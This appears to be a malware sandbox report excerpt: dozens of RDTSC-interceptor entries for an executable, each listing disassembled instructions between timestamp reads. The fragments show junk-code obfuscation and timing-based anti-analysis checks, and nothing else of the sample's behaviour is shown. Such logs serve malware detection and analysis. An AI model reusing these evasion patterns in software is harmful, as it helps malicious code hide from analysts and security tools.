Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9E43FC second address: 9E4405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9E4405 second address: 9E4466 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007FDEF8F40773h 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007FDEF8F40768h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 xor edi, 70FCF336h 0x0000002d push 00000000h 0x0000002f push eax 0x00000030 sbb edi, 121CA95Ch 0x00000036 pop edi 0x00000037 push 00000000h 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007FDEF8F4076Dh 0x00000041 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9E457A second address: 9E457E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9E4682 second address: 9E468F instructions: 0x00000000 rdtsc 0x00000002 je 00007FDEF8F40766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9E468F second address: 9E4695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9E79D9 second address: 9E79DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9E55C9 second address: 9E55CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9E79DF second address: 9E79E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9E55CE second address: 9E55D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9E79E4 second address: 9E79E9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9E79E9 second address: 9E7A57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 xor dword ptr [ebp+122D1A3Bh], ecx 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007FDEF8F19BB8h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a xor di, 7B00h 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push edx 0x00000034 call 00007FDEF8F19BB8h 0x00000039 pop edx 0x0000003a mov dword ptr [esp+04h], edx 0x0000003e add dword ptr [esp+04h], 00000019h 0x00000046 inc edx 0x00000047 push edx 0x00000048 ret 0x00000049 pop edx 0x0000004a ret 0x0000004b xchg eax, esi 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f jmp 00007FDEF8F19BBDh 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9E7A57 second address: 9E7A5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9E7A5C second address: 9E7A72 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDEF8F19BB8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e je 00007FDEF8F19BBCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9E8A22 second address: 9E8A28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9E8A28 second address: 9E8A91 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a jmp 00007FDEF8F19BBEh 0x0000000f pop ecx 0x00000010 nop 0x00000011 jmp 00007FDEF8F19BC2h 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b call 00007FDEF8F19BB8h 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], esi 0x00000025 add dword ptr [esp+04h], 00000017h 0x0000002d inc esi 0x0000002e push esi 0x0000002f ret 0x00000030 pop esi 0x00000031 ret 0x00000032 mov ebx, 5BFF456Dh 0x00000037 push 00000000h 0x00000039 add dword ptr [ebp+1246D0ACh], edi 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 jng 00007FDEF8F19BBCh 0x00000048 jnl 00007FDEF8F19BB6h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9E9A8A second address: 9E9A9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDEF8F40771h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9EAA91 second address: 9EAABA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov ebx, dword ptr [ebp+122D1807h] 0x00000011 push 00000000h 0x00000013 mov dword ptr [ebp+122D2396h], ebx 0x00000019 push 00000000h 0x0000001b mov ebx, dword ptr [ebp+122D2877h] 0x00000021 movzx ebx, si 0x00000024 xchg eax, esi 0x00000025 pushad 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9E8B98 second address: 9E8B9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9EBAA1 second address: 9EBAA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9EDB16 second address: 9EDB1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9EDC81 second address: 9EDC85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9EDD98 second address: 9EDD9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9EDD9D second address: 9EDDA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9EDDA3 second address: 9EDDA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9F6813 second address: 9F681D instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDEF8F19BB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9F681D second address: 9F6835 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDEF8F40773h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9F69A0 second address: 9F69B0 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDEF8F19BB6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9F69B0 second address: 9F69B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9F69B6 second address: 9F69BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9F69BA second address: 9F69ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F40777h 0x00000007 jmp 00007FDEF8F4076Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f jc 00007FDEF8F40776h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9F69ED second address: 9F69F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9F6C47 second address: 9F6C4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9F6C4D second address: 9F6C51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9F6C51 second address: 9F6C80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F40772h 0x00000007 jmp 00007FDEF8F40773h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9F6C80 second address: 9F6C93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F19BBFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9F6C93 second address: 9F6CBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FDEF8F40778h 0x0000000c jmp 00007FDEF8F40772h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 jnl 00007FDEF8F40766h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9F6CBB second address: 9F6CBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9FCEA7 second address: 9FCF14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007FDEF8F40772h 0x0000000f mov eax, dword ptr [eax] 0x00000011 pushad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 jp 00007FDEF8F40766h 0x0000001b popad 0x0000001c pushad 0x0000001d jmp 00007FDEF8F40779h 0x00000022 jmp 00007FDEF8F40778h 0x00000027 popad 0x00000028 popad 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 jp 00007FDEF8F40766h 0x00000036 pushad 0x00000037 popad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9FCF14 second address: 9FCF19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A018C5 second address: A018C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A018C9 second address: A018D0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A01D57 second address: A01D61 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDEF8F4076Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A01D61 second address: A01D86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FDEF8F19BF0h 0x0000000c jmp 00007FDEF8F19BC5h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A01D86 second address: A01DA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDEF8F40777h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A01F10 second address: A01F16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A01F16 second address: A01F30 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FDEF8F40775h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A020B0 second address: A020B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A020B6 second address: A020BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A02243 second address: A0224A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A0224A second address: A0226E instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDEF8F40772h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007FDEF8F4076Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A08FE2 second address: A08FEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A08046 second address: A0805A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDEF8F4076Ah 0x00000008 jo 00007FDEF8F40772h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A07A15 second address: A07A97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F19BBAh 0x00000007 jmp 00007FDEF8F19BBAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007FDEF8F19BBFh 0x00000014 jmp 00007FDEF8F19BC8h 0x00000019 jl 00007FDEF8F19BB6h 0x0000001f popad 0x00000020 jmp 00007FDEF8F19BC7h 0x00000025 popad 0x00000026 push esi 0x00000027 pushad 0x00000028 pushad 0x00000029 popad 0x0000002a pushad 0x0000002b popad 0x0000002c jmp 00007FDEF8F19BC8h 0x00000031 popad 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A07A97 second address: A07A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A08A28 second address: A08A3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDEF8F19BBCh 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A08CE7 second address: A08CF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007FDEF8F40766h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A0C519 second address: A0C525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A0C525 second address: A0C540 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F40775h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A0C540 second address: A0C544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A11189 second address: A1119E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F40770h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A1119E second address: A111CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007FDEF8F19BBEh 0x00000013 jno 00007FDEF8F19BB6h 0x00000019 push edx 0x0000001a pop edx 0x0000001b push eax 0x0000001c push edi 0x0000001d pop edi 0x0000001e jmp 00007FDEF8F19BC1h 0x00000023 pop eax 0x00000024 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A111CE second address: A111D8 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDEF8F40772h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A111D8 second address: A111DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A1148E second address: A11492 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A11492 second address: A11498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A11498 second address: A1149E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9BD7ED second address: 9BD815 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDEF8F19BB6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007FDEF8F19BD0h 0x00000012 jmp 00007FDEF8F19BC4h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9BD815 second address: 9BD819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A1AB33 second address: A1AB72 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDEF8F19BB6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FDEF8F19BC2h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FDEF8F19BBDh 0x00000018 jmp 00007FDEF8F19BC2h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A1AB72 second address: A1AB76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A199CD second address: A199D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D4AFE second address: 9D4B05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D4B05 second address: 9BCC55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F19BBFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jo 00007FDEF8F19BBCh 0x00000011 jno 00007FDEF8F19BB6h 0x00000017 jmp 00007FDEF8F19BC8h 0x0000001c popad 0x0000001d nop 0x0000001e push 00000000h 0x00000020 push ebp 0x00000021 call 00007FDEF8F19BB8h 0x00000026 pop ebp 0x00000027 mov dword ptr [esp+04h], ebp 0x0000002b add dword ptr [esp+04h], 00000016h 0x00000033 inc ebp 0x00000034 push ebp 0x00000035 ret 0x00000036 pop ebp 0x00000037 ret 0x00000038 mov dx, ax 0x0000003b call dword ptr [ebp+122D2695h] 0x00000041 pushad 0x00000042 jnp 00007FDEF8F19BC0h 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007FDEF8F19BBEh 0x0000004f jmp 00007FDEF8F19BBBh 0x00000054 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D4D14 second address: 9D4D19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D4FFC second address: 9D5013 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F19BC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D50A9 second address: 9D50B3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDEF8F4076Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D50B3 second address: 9D50C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007FDEF8F19BB6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D50C3 second address: 9D50C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D50C7 second address: 9D5118 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FDEF8F19BC8h 0x0000000c jmp 00007FDEF8F19BC2h 0x00000011 popad 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jg 00007FDEF8F19BCEh 0x0000001c mov eax, dword ptr [eax] 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FDEF8F19BBCh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D5118 second address: 9D5178 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDEF8F40768h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 jg 00007FDEF8F4076Eh 0x00000016 pop eax 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007FDEF8F40768h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 00000018h 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 call 00007FDEF8F40769h 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 pushad 0x0000003a popad 0x0000003b jmp 00007FDEF8F40772h 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D5178 second address: 9D51AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F19BBAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FDEF8F19BBBh 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 je 00007FDEF8F19BCBh 0x00000019 pushad 0x0000001a jmp 00007FDEF8F19BBDh 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D51AC second address: 9D51CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [eax] 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007FDEF8F40779h 0x0000000f rdtsc
